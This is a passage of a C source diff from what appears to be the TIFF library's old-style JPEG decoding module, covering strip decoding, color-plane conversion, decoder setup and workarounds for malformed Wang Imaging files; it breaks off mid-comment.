+    decoder's input buffer must be discarded.  To do so, we create an "ad hoc"
+    interface in the "jdhuff.c" module of IJG JPEG Library Version 6 (module
+    "jdshuff.c", if Ken Murchison's lossless-Huffman patch is applied), and we
+    invoke that interface here after decoding each "strip".
+ */
+    if (sp->is_WANG) jpeg_reset_huff_decode(&sp->cinfo.d);
+    return 1;
+  }
+
+/*ARGSUSED*/ static int
+OJPEGDecodeRawSeparate(TIFF *tif,register tidata_t buf,tsize_t cc,tsample_t s)
+  { tsize_t rows;                          /* No. of unprocessed rows in file */
+    JDIMENSION lines_per_MCU,
+               size,                                             /* ...of MCU */
+               v;                   /* Component's vertical up-sampling ratio */
+    register OJPEGState *sp = OJState(tif);
+    register jpeg_component_info *compptr = sp->cinfo.d.comp_info + s;
+
+ /* Decode a chunk of pixels, where the input data has separate color planes,
+    some of which have been down-sampled, but the TIFF Library's client has NOT
+    used the "JPEGColorMode" TIFF pseudo-tag to request that the JPEG Library
+    do color-space conversion.  The data is expected to be read in scan-line
+    multiples.
+ */
+    v = sp->cinfo.d.max_v_samp_factor/compptr->v_samp_factor;
+    if ( (cc /= compptr->downsampled_width) /* No. of rows in caller's buffer */
+       > (rows = (sp->cinfo.d.output_height-sp->cinfo.d.output_scanline+v-1)/v)
+       ) cc = rows; /* No. of rows of "clumps" to read */
+    lines_per_MCU = sp->cinfo.d.max_v_samp_factor
+#   ifdef D_LOSSLESS_SUPPORTED
+                  * (size = sp->cinfo.d.min_codec_data_unit);
+#   else
+                  * (size = DCTSIZE);
+#   endif
+ L: if (sp->scancount >= size) /* reload downsampled-data buffers */
+      {
+        if (   CALLJPEG(sp,-1,jpeg_read_raw_data(&sp->cinfo.d,sp->ds_buffer,lines_per_MCU))
+            != lines_per_MCU
+           ) return 0;
+        sp->scancount = 0;
+      };
+    rows = 0;
+    do
+      { register JSAMPLE *inptr =
+          sp->ds_buffer[s][sp->scancount*compptr->v_samp_factor + rows];
+        register int clumps_per_line = compptr->downsampled_width;
+
+        do *buf++ = *inptr++; while (--clumps_per_line > 0); /* Copy scanline */
+        tif->tif_row += v;
+        if (--cc <= 0) return 1; /* End of caller's buffer? */
+      }
+    while (++rows < compptr->v_samp_factor);
+    ++sp->scancount;
+    goto L;
+  }
+
+/* "OJPEGSetupDecode()" temporarily forces the JPEG Library to use the following
+   subroutine as a "dummy" input reader in order to fool the library into
+   thinking that it has read the image's first "Start of Scan" (SOS) marker, so
+   that it initializes accordingly.
+*/
+/*ARGSUSED*/ METHODDEF(int)
+fake_SOS_marker(j_decompress_ptr cinfo){return JPEG_REACHED_SOS;}
+
+/*ARGSUSED*/ METHODDEF(int)
+suspend(j_decompress_ptr cinfo){return JPEG_SUSPENDED;}
+
+/* The JPEG Library's "null" color-space converter actually re-packs separate
+   color planes (it's native image representation) into a pixel-interleaved,
+   contiguous plane.  But if our TIFF Library client is tryng to process a
+   PLANARCONFIG_SEPARATE image, we don't want that; so here are modifications of
+   code in the JPEG Library's "jdcolor.c" file, which simply copy Bytes to a
+   color plane specified by the current JPEG "scan".
+*/
+METHODDEF(void)
+ycc_rgb_convert(register j_decompress_ptr cinfo,JSAMPIMAGE in,JDIMENSION row,
+                register JSAMPARRAY out,register int nrows)
+  { typedef struct                /* "jdcolor.c" color-space conversion state */
+      {
+
+     /* WARNING:  This declaration is ugly and dangerous!  It's supposed to be
+                  private to the JPEG Library's "jdcolor.c" module, but we also
+        need it here.  Since the library's copy might change without notice, be
+        sure to keep this one synchronized or the following code will break!
+     */
+        struct jpeg_color_deconverter pub; /* Public fields */
+     /* Private state for YCC->RGB conversion */
+        int *Cr_r_tab,   /* ->Cr to R conversion table */
+            *Cb_b_tab;   /* ->Cb to B conversion table */
+        INT32 *Cr_g_tab, /* ->Cr to G conversion table */
+              *Cb_g_tab; /* ->Cb to G conversion table */
+      } *my_cconvert_ptr;
+    my_cconvert_ptr cconvert = (my_cconvert_ptr)cinfo->cconvert;
+    JSAMPARRAY irow0p = in[0] + row;
+    register JSAMPLE *range_limit = cinfo->sample_range_limit;
+    register JSAMPROW outp, Y;
+
+    switch (cinfo->output_scan_number - 1)
+      { JSAMPARRAY irow1p, irow2p;
+        register INT32 *table0, *table1;
+        SHIFT_TEMPS
+
+        case RGB_RED  : irow2p = in[2] + row;
+                        table0 = (INT32 *)cconvert->Cr_r_tab;
+                        while (--nrows >= 0)
+                          { register JSAMPROW Cr = *irow2p++;
+                             register int i = cinfo->output_width;
+
+                             Y = *irow0p++;
+                             outp = *out++;
+                             while (--i >= 0)
+                               *outp++ = range_limit[*Y++ + table0[*Cr++]];
+                          };
+                        return;
+        case RGB_GREEN: irow1p = in[1] + row;
+                        irow2p = in[2] + row;
+                        table0 = cconvert->Cb_g_tab;
+                        table1 = cconvert->Cr_g_tab;
+                        while (--nrows >= 0)
+                          { register JSAMPROW Cb = *irow1p++,
+                                              Cr = *irow2p++;
+                             register int i = cinfo->output_width;
+
+                             Y = *irow0p++;
+                             outp = *out++;
+                             while (--i >= 0)
+                               *outp++ =
+                                 range_limit[ *Y++
+                                            + RIGHT_SHIFT(table0[*Cb++]+table1[*Cr++],16)
+                                            ];
+                          };
+                        return;
+        case RGB_BLUE : irow1p = in[1] + row;
+                        table0 = (INT32 *)cconvert->Cb_b_tab;
+                        while (--nrows >= 0)
+                          { register JSAMPROW Cb = *irow1p++;
+                             register int i = cinfo->output_width;
+
+                             Y = *irow0p++;
+                             outp = *out++;
+                             while (--i >= 0)
+                               *outp++ = range_limit[*Y++ + table0[*Cb++]];
+                          }
+      }
+  }
+
+METHODDEF(void)
+null_convert(register j_decompress_ptr cinfo,JSAMPIMAGE in,JDIMENSION row,
+             register JSAMPARRAY out,register int nrows)
+  { register JSAMPARRAY irowp = in[cinfo->output_scan_number - 1] + row;
+
+    while (--nrows >= 0) _TIFFmemcpy(*out++,*irowp++,cinfo->output_width);
+  }
+
+static int
+OJPEGSetupDecode(register TIFF *tif)
+  { static char module[]={"OJPEGSetupDecode"};
+    J_COLOR_SPACE jpeg_color_space,   /* Color space of JPEG-compressed image */
+                  out_color_space;       /* Color space of decompressed image */
+    uint32 segment_width;
+    int status = 1;                              /* Assume success by default */
+    boolean downsampled_output=FALSE, /* <=> Want JPEG Library's "raw" image? */
+            is_JFIF;                                       /* <=> JFIF image? */
+    register OJPEGState *sp = OJState(tif);
+#   define td (&tif->tif_dir)
+
+ /* Verify miscellaneous parameters.  This will need work if the TIFF Library
+    ever supports different depths for different components, or if the JPEG
+    Library ever supports run-time depth selection.  Neither seems imminent.
+ */
+    if (td->td_bitspersample != sp->cinfo.d.data_precision)
+      {
+        TIFFError(module,bad_bps,td->td_bitspersample);
+        status = 0;
+      };
+
+ /* The TIFF Version 6.0 specification and IJG JPEG Library accept different
+    sets of color spaces, so verify that our image belongs to the common subset
+    and map its photometry code, then initialize to handle subsampling and
+    optional JPEG Library YCbCr <-> RGB color-space conversion.
+ */
+    switch (td->td_photometric)
+      {
+        case PHOTOMETRIC_YCBCR     :
+
+       /* ISO IS 10918-1 requires that JPEG subsampling factors be 1-4, but
+          TIFF Version 6.0 is more restrictive: only 1, 2, and 4 are allowed.
+       */
+          if (   (   td->td_ycbcrsubsampling[0] == 1
+                  || td->td_ycbcrsubsampling[0] == 2
+                  || td->td_ycbcrsubsampling[0] == 4
+                 )
+              && (   td->td_ycbcrsubsampling[1] == 1
+                  || td->td_ycbcrsubsampling[1] == 2
+                  || td->td_ycbcrsubsampling[1] == 4
+                 )
+             )
+            downsampled_output =
+              (
+                (sp->h_sampling = td->td_ycbcrsubsampling[0]) << 3
+              | (sp->v_sampling = td->td_ycbcrsubsampling[1])
+              ) != 011;
+          else
+            {
+              TIFFError(module,bad_subsampling);
+              status = 0;
+            };
+          jpeg_color_space = JCS_YCbCr;
+          if (sp->jpegcolormode == JPEGCOLORMODE_RGB)
+            {
+              downsampled_output = FALSE;
+              out_color_space = JCS_RGB;
+              break;
+            };
+          goto L2;
+        case PHOTOMETRIC_MINISBLACK:
+          jpeg_color_space = JCS_GRAYSCALE;
+          goto L1;
+        case PHOTOMETRIC_RGB       :
+          jpeg_color_space = JCS_RGB;
+          goto L1;
+        case PHOTOMETRIC_SEPARATED :
+          jpeg_color_space = JCS_CMYK;
+      L1: sp->jpegcolormode = JPEGCOLORMODE_RAW; /* No JPEG Lib. conversion */
+      L2: out_color_space = jpeg_color_space;
+          break;
+        default                    :
+          TIFFError(module,bad_photometry,td->td_photometric);
+          status = 0;
+      };
+    if (status == 0) return 0; /* If TIFF errors, don't bother to continue */
+
+ /* Set parameters that are same for all strips/tiles. */
+
+    sp->cinfo.d.src = &sp->src;
+    sp->src.init_source = std_init_source;
+    sp->src.fill_input_buffer = std_fill_input_buffer;
+    sp->src.skip_input_data = std_skip_input_data;
+    sp->src.resync_to_restart = jpeg_resync_to_restart;
+    sp->src.term_source = std_term_source;
+
+ /* BOGOSITY ALERT!  The Wang Imaging application for Microsoft Windows produces
+                     images containing "JPEGInterchangeFormat[Length]" TIFF
+    records that resemble JFIF-in-TIFF encapsulations but, in fact, violate the
+    TIFF Version 6 specification in several ways; nevertheless, we try to handle
+    them gracefully because there are apparently a lot of them around.  The
+    purported "JFIF" data stream in one of these files vaguely resembles a JPEG
+    "tables only" data stream, except that there's no trailing EOI marker.  The
+    rest of the JPEG data stream lies in a discontiguous file region, identified
+    by the 0th Strip offset (which is *also* illegal!), where it begins with an
+    SOS marker and apparently continues to the end of the file.  There is no
+    trailing EOI marker here, either.
+ */
+    is_JFIF = !sp->is_WANG && TIFFFieldSet(tif,FIELD_JPEGIFOFFSET);
+
+ /* Initialize decompression parameters that won't be overridden by JPEG Library
+    defaults set during the "jpeg_read_header()" call, below.
+ */
+    segment_width = td->td_imagewidth;
+    if (isTiled(tif))
+      {
+        if (sp->is_WANG) /* we don't know how to handle it */
+          {
+            TIFFError(module,"Tiled Wang image not supported");
+            return 0;
+          };
+
+     /* BOGOSITY ALERT!  "TIFFTileRowSize()" seems to work fine for modern JPEG-
+                         in-TIFF encapsulations where the image width--like the
+        tile width--is a multiple of 8 or 16 pixels.  But image widths and
+        heights are aren't restricted to 8- or 16-bit multiples, and we need
+        the exact Byte count of decompressed scan lines when we call the JPEG
+        Library.  At least one old file ("zackthecat.tif") in the TIFF Library
+        test suite has widths and heights slightly less than the tile sizes, and
+        it apparently used the bogus computation below to determine the number
+        of Bytes per scan line (was this due to an old, broken version of
+        "TIFFhowmany()"?).  Before we get here, "OJPEGSetupDecode()" verified
+        that our image uses 8-bit samples, so the following check appears to
+        return the correct answer in all known cases tested to date.
+     */
+        if (is_JFIF || (segment_width & 7) == 0)
+          sp->bytesperline = TIFFTileRowSize(tif); /* Normal case */
+        else
+          {
+            /* Was the file-encoder's segment-width calculation bogus? */
+            segment_width = (segment_width/sp->h_sampling + 1) * sp->h_sampling;
+            sp->bytesperline = segment_width * td->td_samplesperpixel;
+          }
+      }
+    else sp->bytesperline = TIFFVStripSize(tif,1);
+
+ /* BEWARE OF KLUDGE:  If we have JPEG Interchange File Format (JFIF) image,
+                       then we want to read "metadata" in the bit-stream's
+    header and validate it against corresponding information in TIFF records.
+    But if we have a *really old* JPEG file that's not JFIF, then we simply
+    assign TIFF-record values to JPEG Library variables without checking.
+ */
+    if (is_JFIF) /* JFIF image */
+      { unsigned char *end_of_data;
+        int subsampling_factors;
+        register unsigned char *p;
+        register int i;
+
+     /* WARNING:  Although the image file contains a JFIF bit stream, it might
+                  also contain some old TIFF records causing "OJPEGVSetField()"
+        to have allocated quantization or Huffman decoding tables.  But when the
+        JPEG Library reads and parses the JFIF header below, it reallocate these
+        tables anew without checking for "dangling" pointers, thereby causing a
+        memory "leak".  We have enough information to potentially deallocate the
+        old tables here, but unfortunately JPEG Library Version 6B uses a "pool"
+        allocator for small objects, with no deallocation procedure; instead, it
+        reclaims a whole pool when an image is closed/destroyed, so well-behaved
+        TIFF client applications (i.e., those which close their JPEG images as
+        soon as they're no longer needed) will waste memory for a short time but
+        recover it eventually.  But ill-behaved TIFF clients (i.e., those which
+        keep many JPEG images open gratuitously) can exhaust memory prematurely.
+        If the JPEG Library ever implements a deallocation procedure, insert
+        this clean-up code:
+     */
+#       ifdef someday
+        if (sp->jpegtablesmode & JPEGTABLESMODE_QUANT) /* free quant. tables */
+          { register int i = 0;
+
+            do
+              { register JQUANT_TBL *q;
+
+                if (q = sp->cinfo.d.quant_tbl_ptrs[i])
+                  {
+                    jpeg_free_small(&sp->cinfo.comm,q,sizeof *q);
+                    sp->cinfo.d.quant_tbl_ptrs[i] = 0;
+                  }
+              }
+            while (++i < NUM_QUANT_TBLS);
+          };
+        if (sp->jpegtablesmode & JPEGTABLESMODE_HUFF) /* free Huffman tables */
+          { register int i = 0;
+
+            do
+              { register JHUFF_TBL *h;
+
+                if (h = sp->cinfo.d.dc_huff_tbl_ptrs[i])
+                  {
+                    jpeg_free_small(&sp->cinfo.comm,h,sizeof *h);
+                    sp->cinfo.d.dc_huff_tbl_ptrs[i] = 0;
+                  };
+                if (h = sp->cinfo.d.ac_huff_tbl_ptrs[i])
+                  {
+                    jpeg_free_small(&sp->cinfo.comm,h,sizeof *h);
+                    sp->cinfo.d.ac_huff_tbl_ptrs[i] = 0;
+                  }
+              }
+            while (++i < NUM_HUFF_TBLS);
+          };
+#       endif /* someday */
+
+     /* Since we might someday wish to try rewriting "old format" JPEG-in-TIFF
+        encapsulations in "new format" files, try to synthesize the value of a
+        modern "JPEGTables" TIFF record by scanning the JPEG data from just past
+        the "Start of Information" (SOI) marker until something other than a
+        legitimate "table" marker is found, as defined in ISO IS 10918-1
+        Appending B.2.4; namely:
+
+        -- Define Quantization Table (DQT)
+        -- Define Huffman Table (DHT)
+        -- Define Arithmetic Coding table (DAC)
+        -- Define Restart Interval (DRI)
+        -- Comment (COM)
+        -- Application data (APPn)
+
+        For convenience, we also accept "Expansion" (EXP) markers, although they
+        are apparently not a part of normal "table" data.
+     */
+        sp->jpegtables = p = (unsigned char *)sp->src.next_input_byte;
+        end_of_data = p + sp->src.bytes_in_buffer;
+        p += 2;
+        while (p < end_of_data && p[0] == 0xFF)
+          switch (p[1])
+            {
+              default  : goto L;
+              case 0xC0: /* SOF0  */
+              case 0xC1: /* SOF1  */
+              case 0xC2: /* SOF2  */
+              case 0xC3: /* SOF3  */
+              case 0xC4: /* DHT   */
+              case 0xC5: /* SOF5  */
+              case 0xC6: /* SOF6  */
+              case 0xC7: /* SOF7  */
+              case 0xC9: /* SOF9  */
+              case 0xCA: /* SOF10 */
+              case 0xCB: /* SOF11 */
+              case 0xCC: /* DAC   */
+              case 0xCD: /* SOF13 */
+              case 0xCE: /* SOF14 */
+              case 0xCF: /* SOF15 */
+              case 0xDB: /* DQT   */
+              case 0xDD: /* DRI   */
+              case 0xDF: /* EXP   */
+              case 0xE0: /* APP0  */
+              case 0xE1: /* APP1  */
+              case 0xE2: /* APP2  */
+              case 0xE3: /* APP3  */
+              case 0xE4: /* APP4  */
+              case 0xE5: /* APP5  */
+              case 0xE6: /* APP6  */
+              case 0xE7: /* APP7  */
+              case 0xE8: /* APP8  */
+              case 0xE9: /* APP9  */
+              case 0xEA: /* APP10 */
+              case 0xEB: /* APP11 */
+              case 0xEC: /* APP12 */
+              case 0xED: /* APP13 */
+              case 0xEE: /* APP14 */
+              case 0xEF: /* APP15 */
+              case 0xFE: /* COM   */
+                         p += (p[2] << 8 | p[3]) + 2;
+            };
+     L: if (p - (unsigned char *)sp->jpegtables > 2) /* fake "JPEGTables" */
+          {
+
+         /* In case our client application asks, pretend that this image file
+            contains a modern "JPEGTables" TIFF record by copying to a buffer
+            the initial part of the JFIF bit-stream that we just scanned, from
+            the SOI marker through the "metadata" tables, then append an EOI
+            marker and flag the "JPEGTables" TIFF record as "present".
+         */
+            sp->jpegtables_length = p - (unsigned char*)sp->jpegtables + 2;
+            p = sp->jpegtables;
+            if (!(sp->jpegtables = _TIFFmalloc(sp->jpegtables_length)))
+              {
+                TIFFError(module,no_jtable_space);
+                return 0;
+              };
+            _TIFFmemcpy(sp->jpegtables,p,sp->jpegtables_length-2);
+            p = (unsigned char *)sp->jpegtables + sp->jpegtables_length;
+            p[-2] = 0xFF; p[-1] = JPEG_EOI; /* Append EOI marker */
+            TIFFSetFieldBit(tif,FIELD_JPEGTABLES);
+            tif->tif_flags |= TIFF_DIRTYDIRECT;
+          }
+        else sp->jpegtables = 0; /* Don't simulate "JPEGTables" */
+        if (   CALLJPEG(sp,-1,jpeg_read_header(&sp->cinfo.d,TRUE))
+            != JPEG_HEADER_OK
+           ) return 0;
+        if (   sp->cinfo.d.image_width  != segment_width
+            || sp->cinfo.d.image_height != td->td_imagelength 
+           )
+          {
+            TIFFError(module,"Improper JPEG strip/tile size");
+            return 0;
+          };
+        if (sp->cinfo.d.num_components != td->td_samplesperpixel)
+          {
+            TIFFError(module,"Improper JPEG component count");
+            return 0;
+          };
+        if (sp->cinfo.d.data_precision != td->td_bitspersample)
+          {
+            TIFFError(module,"Improper JPEG data precision");
+            return 0;
+          };
+
+     /* Check that JPEG image components all have the same subsampling factors
+        declared (or defaulted) in the TIFF file, since TIFF Version 6.0 is more
+        restrictive than JPEG:  Only the 0th component may have horizontal and
+        vertical subsampling factors other than <1,1>.
+     */
+        subsampling_factors = sp->h_sampling << 3 | sp->v_sampling;
+        i = 0;
+        do
+          {
+            if (   ( sp->cinfo.d.comp_info[i].h_samp_factor << 3
+                   | sp->cinfo.d.comp_info[i].v_samp_factor
+                   )
+                != subsampling_factors
+               )
+              {
+                TIFFError(module,"Improper JPEG subsampling factors");
+                return 0;
+              };
+            subsampling_factors = 011; /* Required for image components > 0 */
+          }
+        while (++i < sp->cinfo.d.num_components);
+      }
+    else /* not JFIF image */
+      { int (*save)(j_decompress_ptr cinfo) = sp->cinfo.d.marker->read_markers;
+        register int i;
+
+     /* We're not assuming that this file's JPEG bit stream has any header
+        "metadata", so fool the JPEG Library into thinking that we read a
+        "Start of Input" (SOI) marker and a "Start of Frame" (SOFx) marker, then
+        force it to read a simulated "Start of Scan" (SOS) marker when we call
+        "jpeg_read_header()" below.  This should cause the JPEG Library to
+        establish reasonable defaults.
+     */
+        sp->cinfo.d.marker->saw_SOI =       /* Pretend we saw SOI marker */
+        sp->cinfo.d.marker->saw_SOF = TRUE; /* Pretend we saw SOF marker */
+        sp->cinfo.d.marker->read_markers =
+          sp->is_WANG ? suspend : fake_SOS_marker;
+        sp->cinfo.d.global_state = DSTATE_INHEADER;
+        sp->cinfo.d.Se = DCTSIZE2-1; /* Suppress JPEG Library warning */
+        sp->cinfo.d.image_width  = segment_width;
+        sp->cinfo.d.image_height = td->td_imagelength;
+
+     /* The following color-space initialization, including the complicated
+        "switch"-statement below, essentially duplicates the logic used by the
+        JPEG Library's "jpeg_init_colorspace()" subroutine during compression.
+     */
+        sp->cinfo.d.num_components = td->td_samplesperpixel;
+        sp->cinfo.d.comp_info = (jpeg_component_info *)
+          (*sp->cinfo.d.mem->alloc_small)
+            ( &sp->cinfo.comm
+            , JPOOL_IMAGE
+            , sp->cinfo.d.num_components * sizeof *sp->cinfo.d.comp_info
+            );
+        i = 0;
+        do
+          {
+            sp->cinfo.d.comp_info[i].component_index = i;
+            sp->cinfo.d.comp_info[i].component_needed = TRUE;
+            sp->cinfo.d.cur_comp_info[i] = &sp->cinfo.d.comp_info[i];
+          }
+        while (++i < sp->cinfo.d.num_components);
+        switch (jpeg_color_space)
+          {
+            case JCS_UNKNOWN  :
+              i = 0;
+              do
+                {
+                  sp->cinfo.d.comp_info[i].component_id = i;
+                  sp->cinfo.d.comp_info[i].h_samp_factor =
+                  sp->cinfo.d.comp_info[i].v_samp_factor = 1;
+                }
+              while (++i < sp->cinfo.d.num_components);
+              break;
+            case JCS_GRAYSCALE:
+              sp->cinfo.d.comp_info[0].component_id =
+              sp->cinfo.d.comp_info[0].h_samp_factor =
+              sp->cinfo.d.comp_info[0].v_samp_factor = 1;
+              break;
+            case JCS_RGB      :
+              sp->cinfo.d.comp_info[0].component_id = 'R';
+              sp->cinfo.d.comp_info[1].component_id = 'G';
+              sp->cinfo.d.comp_info[2].component_id = 'B';
+              i = 0;
+              do sp->cinfo.d.comp_info[i].h_samp_factor =
+                 sp->cinfo.d.comp_info[i].v_samp_factor = 1;
+              while (++i < sp->cinfo.d.num_components);
+              break;
+            case JCS_CMYK     :
+              sp->cinfo.d.comp_info[0].component_id = 'C';
+              sp->cinfo.d.comp_info[1].component_id = 'M';
+              sp->cinfo.d.comp_info[2].component_id = 'Y';
+              sp->cinfo.d.comp_info[3].component_id = 'K';
+              i = 0;
+              do sp->cinfo.d.comp_info[i].h_samp_factor =
+                 sp->cinfo.d.comp_info[i].v_samp_factor = 1;
+              while (++i < sp->cinfo.d.num_components);
+              break;
+            case JCS_YCbCr    :
+              i = 0;
+              do
+                {
+                  sp->cinfo.d.comp_info[i].component_id = i+1;
+                  sp->cinfo.d.comp_info[i].h_samp_factor =
+                  sp->cinfo.d.comp_info[i].v_samp_factor = 1;
+                  sp->cinfo.d.comp_info[i].quant_tbl_no =
+                  sp->cinfo.d.comp_info[i].dc_tbl_no =
+                  sp->cinfo.d.comp_info[i].ac_tbl_no = i > 0;
+                }
+              while (++i < sp->cinfo.d.num_components);
+              sp->cinfo.d.comp_info[0].h_samp_factor = sp->h_sampling;
+              sp->cinfo.d.comp_info[0].v_samp_factor = sp->v_sampling;
+          };
+        sp->cinfo.d.comps_in_scan = td->td_planarconfig == PLANARCONFIG_CONTIG
+                                  ? sp->cinfo.d.num_components
+                                  : 1;
+        i = CALLJPEG(sp,-1,jpeg_read_header(&sp->cinfo.d,!sp->is_WANG));
+        sp->cinfo.d.marker->read_markers = save; /* Restore input method */
+        if (sp->is_WANG) /* produced by Wang Imaging on Microsoft Windows */
+          {
+            if (i != JPEG_SUSPENDED) return 0;
+
+         /* BOGOSITY ALERT!  Files prooduced by the Wang Imaging application for
+                             Microsoft Windows are a special--and, technically
+            illegal--case.  A JPEG SOS marker and rest of the data stream should
+            be located at the end of the file, in a position identified by the
+            0th Strip offset.
+         */
+            i = td->td_nstrips - 1;
+            sp->src.next_input_byte = tif->tif_base + td->td_stripoffset[0];
+            sp->src.bytes_in_buffer = td->td_stripoffset[i] -
+              td->td_stripoffset[0] + td->td_stripbytecount[i];
+            i = CALLJPEG(sp,-1,jpeg_read_header(&sp->cinfo.d,TRUE));
+          };
+        if (i != JPEG_HEADER_OK) return 0;
+      };
+
+ /* Some of our initialization must wait until the JPEG Library is initialized
+    above, in order to override its defaults.
+ */
+    if (   (sp->cinfo.d.raw_data_out = downsampled_output)
+        && !alloc_downsampled_buffers(tif,sp->cinfo.d.comp_info,
+                                      sp->cinfo.d.num_components)
+       ) return 0;
+    sp->cinfo.d.jpeg_color_space = jpeg_color_space;
+    sp->cinfo.d.out_color_space = out_color_space;
+    sp->cinfo.d.dither_mode = JDITHER_NONE; /* Reduce image "noise" */
+    sp->cinfo.d.two_pass_quantize = FALSE;
+
+ /* If the image consists of separate, discontiguous TIFF "samples" (= color
+    planes, hopefully = JPEG "scans"), then we must use the JPEG Library's
+    "buffered image" mode to decompress the entire image into temporary buffers,
+    because the JPEG Library must parse the entire JPEG bit-stream in order to
+    be satsified that it has a complete set of color components for each pixel,
+    but the TIFF Library must allow our client to extract 1 component at a time.
+    Initializing the JPEG Library's "buffered image" mode is tricky:  First, we
+    start its decompressor, then we tell the decompressor to "consume" (i.e.,
+    buffer) the entire bit-stream.
+
+    WARNING:  Disabling "fancy" up-sampling seems to slightly reduce "noise" for
+              certain old Wang Imaging files, but it absolutely *must* be
+    enabled if the image has separate color planes, since in that case, the JPEG
+    Library doesn't use an "sp->cinfo.d.cconvert" structure (so de-referencing
+    this pointer below will cause a fatal crash) but writing our own code to up-
+    sample separate color planes is too much work for right now.  Maybe someday?
+ */
+    sp->cinfo.d.do_fancy_upsampling = /* Always let this default (to TRUE)? */
+    sp->cinfo.d.buffered_image = td->td_planarconfig == PLANARCONFIG_SEPARATE;
+    if (!CALLJPEG(sp,0,jpeg_start_decompress(&sp->cinfo.d))) return 0;
+    if (sp->cinfo.d.buffered_image) /* separate color planes */
+      {
+        if (sp->cinfo.d.raw_data_out)
+          tif->tif_decoderow = tif->tif_decodestrip = tif->tif_decodetile =
+            OJPEGDecodeRawSeparate;
+        else
+          {
+            tif->tif_decoderow = tif->tif_decodestrip = tif->tif_decodetile =
+              OJPEGDecode;
+
+         /* In JPEG Library Version 6B, color-space conversion isn't implemented
+            for separate color planes, so we must do it ourself if our TIFF
+            client doesn't want to:
+         */
+            sp->cinfo.d.cconvert->color_convert =
+              sp->cinfo.d.jpeg_color_space == sp->cinfo.d.out_color_space
+              ? null_convert : ycc_rgb_convert;
+          };
+    L3: switch (CALLJPEG(sp,0,jpeg_consume_input(&sp->cinfo.d)))
+          {
+            default              : goto L3;
+
+         /* If no JPEG "End of Information" (EOI) marker is found when bit-
+            stream parsing ends, check whether we have enough data to proceed
+            before reporting an error.
+         */
+            case JPEG_SUSPENDED  : if (  sp->cinfo.d.input_scan_number
+                                        *sp->cinfo.d.image_height
+                                       + sp->cinfo.d.input_iMCU_row
+                                        *sp->cinfo.d.max_v_samp_factor
+#                                       ifdef D_LOSSLESS_SUPPORTED
+                                        *sp->cinfo.d.data_units_in_MCU
+                                        *sp->cinfo.d.min_codec_data_unit
+#                                       else
+                                        *sp->cinfo.d.blocks_in_MCU
+                                        *DCTSIZE
+#                                       endif
+                                      < td->td_samplesperpixel
+                                       *sp->cinfo.d.image_height
+                                      )
+                                     {
+                                       TIFFError(tif->tif_name,
+                                         "Premature end of JPEG bit-stream");
+                                       return 0;
+                                     }
+            case JPEG_REACHED_EOI: ;
+          }
+      }
+    else /* pixel-interleaved color planes */
+      tif->tif_decoderow = tif->tif_decodestrip = tif->tif_decodetile =
+        downsampled_output ? OJPEGDecodeRawContig : OJPEGDecode;
+    return 1;
+#   undef td
+  }
+
+static int
+OJPEGPreDecode(register TIFF *tif,tsample_t s)
+  { register OJPEGState *sp = OJState(tif);
+#   define td (&tif->tif_dir)
+
+ /* If we are about to read the first row of an image plane (hopefully, these
+    are coincident with JPEG "scans"!), reset the JPEG Library's decompressor
+    appropriately.  Otherwise, let the decompressor run "as is" and return a
+    "success" status without further ado.
+ */
+    if (     (isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip)
+           % td->td_stripsperimage
+        == 0
+       )
+      {
+        if (   sp->cinfo.d.buffered_image
+            && !CALLJPEG(sp,0,jpeg_start_output(&sp->cinfo.d,s+1))
+           ) return 0;
+        sp->cinfo.d.output_scanline = 0;
+
+     /* Mark subsampling buffers "empty". */
+
+#       ifdef D_LOSSLESS_SUPPORTED
+        sp->scancount = sp->cinfo.d.min_codec_data_unit;
+#       else
+        sp->scancount = DCTSIZE;
+#       endif
+      };
+    return 1;
+#   undef td
+  }
+
+/*ARGSUSED*/ static void
+OJPEGPostDecode(register TIFF *tif,tidata_t buf,tsize_t cc)
+  { register OJPEGState *sp = OJState(tif);
+#   define td (&tif->tif_dir)
+
+ /* The JPEG Library decompressor has reached the end of a strip/tile.  If this
+    is the end of a TIFF image "sample" (= JPEG "scan") in a file with separate
+    components (color planes), then end the "scan".  If it ends the image's last
+    sample/scan, then also stop the JPEG Library's decompressor.
+ */
+    if (sp->cinfo.d.output_scanline >= sp->cinfo.d.output_height)
+      {
+        if (sp->cinfo.d.buffered_image)
+          CALLJPEG(sp,-1,jpeg_finish_output(&sp->cinfo.d)); /* End JPEG scan */
+        if (   (isTiled(tif) ? tif->tif_curtile : tif->tif_curstrip)
+            >= td->td_nstrips-1
+           ) CALLJPEG(sp,0,jpeg_finish_decompress(&sp->cinfo.d));
+      }
+#   undef td
+  }
+
+static int
+OJPEGVSetField(register TIFF *tif,ttag_t tag,va_list ap)
+{
+    uint32 v32;
+    register OJPEGState *sp = OJState(tif);
+#   define td (&tif->tif_dir)
+    toff_t tiffoff=0;
+    uint32 bufoff=0;
+    uint32 code_count=0;
+    int i2=0;
+    int k2=0;
+
+    switch (tag)
+      {
+        default                            : return
+                                               (*sp->vsetparent)(tif,tag,ap);
+
+     /* BEWARE OF KLUDGE:  Some old-format JPEG-in-TIFF files, including those
+                           produced by the Wang Imaging application for Micro-
+        soft Windows, illegally omit a "ReferenceBlackWhite" TIFF tag, even
+        though the TIFF specification's default is intended for the RGB color
+        space and is inappropriate for the YCbCr color space ordinarily used for
+        JPEG images.  Since many TIFF client applications request the value of
+        this tag immediately after a TIFF image directory is parsed, and before
+        any other code in this module receives control, we are forced to fix
+        this problem very early in image-file processing.  Fortunately, legal
+        TIFF files are supposed to store their tags in numeric order, so a
+        mandatory "PhotometricInterpretation" tag should always appear before
+        an optional "ReferenceBlackWhite" tag.  Hence, we slyly peek ahead when
+        we discover the desired photometry, by installing modified black and
+        white reference levels.
+     */
+        case TIFFTAG_PHOTOMETRIC           :
+          if (   (v32 = (*sp->vsetparent)(tif,tag,ap))
+              && td->td_photometric == PHOTOMETRIC_YCBCR
+             )
+	  {
+		float *ref;
+		if (!TIFFGetField(tif, TIFFTAG_REFERENCEBLACKWHITE, &ref)) {
+			float refbw[6];
+			long top = 1L << td->td_bitspersample;
+			refbw[0] = 0;
+			refbw[1] = (float)(top-1L);
+			refbw[2] = (float)(top>>1);
+			refbw[3] = refbw[1];
+			refbw[4] = refbw[2];
+			refbw[5] = refbw[1];
+			TIFFSetField(tif, TIFFTAG_REFERENCEBLACKWHITE, refbw);
+		}
+	  }
+          return v32;
+
+     /* BEWARE OF KLUDGE:  According to Charles Auer <Bumble731@msn.com>, if our
+                           input is a multi-image (multi-directory) JPEG-in-TIFF
+        file is produced by the Wang Imaging application on Microsoft Windows,
